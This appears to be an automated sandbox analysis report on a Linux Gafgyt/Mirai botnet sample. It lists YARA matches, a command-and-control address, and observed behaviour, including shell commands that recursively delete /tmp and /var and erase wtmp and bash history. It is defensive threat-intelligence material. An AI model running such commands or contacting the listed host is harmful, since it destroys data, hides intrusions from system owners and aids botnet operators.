Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 reference_sample = d5b2bde0749ff482dc2389971e2ac76c4b1e7b887208a538d5555f0fe6984825, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 0f75090ed840f4601df4e43a2f49f2b32585213f3d86d19fb255d79c21086ba3, id = 148b91a2-ed51-4c2d-9d15-6a48d9ea3e0a, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_148b91a2 reference_sample = d5b2bde0749ff482dc2389971e2ac76c4b1e7b887208a538d5555f0fe6984825, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 0f75090ed840f4601df4e43a2f49f2b32585213f3d86d19fb255d79c21086ba3, id = 148b91a2-ed51-4c2d-9d15-6a48d9ea3e0a, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16

Source: classification engine

Classification label: mal84.troj.evad.linELF@0/1@0/0

Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/bzero.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/memcpy.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/mempcpy.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/memset.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/strchr.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcmp.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcpy.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcspn.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/strlen.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/strpbrk.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/string/x86_64/strspn.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crt1.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crti.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crtn.S
Source: RYrydry.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/vfork.S

Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/php/..	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/gdm3/.cache	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/gdm3/.cache	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/gdm3/.config	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/gdm3/.config	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/gdm3/.local	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/gdm3/.local	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/snapd/assertions/asserts-v0/..	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/snapd/assertions/..	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/snapd/..	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/colord/.cache	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/systemd/deb-systemd-helper-enabled/.wants	Jump to behavior
Source: /usr/bin/rm (PID: 5440)	Directory: /var/lib/systemd/deb-systemd-helper-enabled/.wants	Jump to behavior

Source: /tmp/RYrydry.elf (PID: 5439)	Shell command executed: sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"	Jump to behavior
Source: /tmp/RYrydry.elf (PID: 5444)	Shell command executed: sh -c "rm -rf /var/log/wtmp"	Jump to behavior
Source: /tmp/RYrydry.elf (PID: 5446)	Shell command executed: sh -c "rm -rf ~/.bash_history"	Jump to behavior
Source: /tmp/RYrydry.elf (PID: 5448)	Shell command executed: sh -c "history -c;history -w"	Jump to behavior

Source: /bin/sh (PID: 5440)	Rm executable: /usr/bin/rm -> rm -rf /tmp/RYrydry.elf /tmp/config-err-IN1GlB /tmp/dmesgtail.log /tmp/hsperfdata_root /tmp/snap-private-tmp /tmp/snap.lxd /tmp/ssh-ntFb5z3TQVeu /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-ModemManager.service-rehHTg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-PB7Ovf /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-fwupd.service-369SSg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-switcheroo-control.service-jxKacf /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-WfFmsi /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-resolved.service-9mYjrg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-timedated.service-7ycQxi /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-upower.service-VKEayg /tmp/vmware-root_727-4290690966 /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/run/NetworkManager /var/run/acpid.pid /var/run/acpid.socket /var/run/apport.lock /var/run/avahi-daemon /var/run/blkid /var/run/cloud-init /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/cryptsetup /var/run/cups /var/run/dbus /var/run/dmeventd-client /var/run/dmeventd-server /var/run/gdm3 /var/run/gdm3.pid /var/run/initctl /var/run/initramfs /var/run/irqbalance /var/run/lock /var/run/log /var/run/lvm /var/run/mono-xsp4 /var/run/mono-xsp4.pid /var/run/motd.d /var/run/mount /var/run/multipathd.pid /var/run/netns /var/run/network /var/run/screen /var/run/sendsigs.omit.d /var/run/shm /var/run/snapd /var/run/snapd-snap.socket /var/run/snapd.socket /var/run/speech-dispatcher /var/run/spice-vdagentd /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/udisks2 /var/run/unattended-upgrades.lock /var/run/user /var/run/utmp /var/run/uuidd /var/run/vmware /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-ModemManager.service-rJRv0g /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-2NWDdf /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-fwupd.service-eWBgFg /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-switcheroo-control.service-YlFEtg /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-VhFl6g /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-resolved.service-GDC7pj /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-timedated.service-Ukncpj /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-upower.service-FqJmSi	Jump to behavior
Source: /bin/sh (PID: 5445)	Rm executable: /usr/bin/rm -> rm -rf /var/log/wtmp	Jump to behavior
Source: /bin/sh (PID: 5447)	Rm executable: /usr/bin/rm -> rm -rf /root/.bash_history	Jump to behavior

Source: submitted sample

Stderr: sh: 1: history: not foundsh: 1: history: not found: exit code = 0

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /usr/bin/rm (PID: 5440)

File: /tmp/RYrydry.elf

Jump to behavior

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: RYrydry.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: RYrydry.elf, type: SAMPLE
Source: Yara match	File source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5434, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5437, type: MEMORYSTR

Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285
Source: Initial sample	User agent string found: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2
Source: Initial sample	User agent string found: Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Source: Initial sample	User agent string found: Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01
Source: Initial sample	User agent string found: Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0
Source: Initial sample	User agent string found: Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: RYrydry.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: RYrydry.elf, type: SAMPLE
Source: Yara match	File source: 5434.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5437.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5435.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.0000000000400000.0000000000410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5434, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RYrydry.elf PID: 5437, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Hidden Files and Directories	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

Threatname: Gafgyt

{
  "C2 url": "31.58.58.113:666"
}

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RYrydry.elf	52%	Virustotal		Browse
RYrydry.elf	64%	ReversingLabs	Linux.Trojan.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1/bins.sh;sh	0%	Avira URL Cloud	safe
31.58.58.113:666	0%	Avira URL Cloud	safe
http://127.0.0.1/scan.py127.0.0.1bins.shtftp1.shtftp2.shftp1.shntpdsshdopensshbashtftpwgetcronftppft	0%	Avira URL Cloud	safe
http://127.0.0.1/scan.py	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
31.58.58.113:666	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1/bins.sh;sh	RYrydry.elf	false	Avira URL Cloud: safe	unknown
http://127.0.0.1/scan.py	RYrydry.elf	false	Avira URL Cloud: safe	unknown
http://127.0.0.1/scan.py127.0.0.1bins.shtftp1.shtftp2.shftp1.shntpdsshdopensshbashtftpwgetcronftppft	RYrydry.elf	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
31.58.58.113	unknown	Iran (ISLAMIC Republic Of)		31549	RASANAIR	true
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
31.58.58.113	FTUdftui.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	JIPJuipjh.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	JIPJIPJj.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	GHfjfgvj.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	jhUOH.elf	Get hash	malicious	Gafgyt, Mirai	Browse
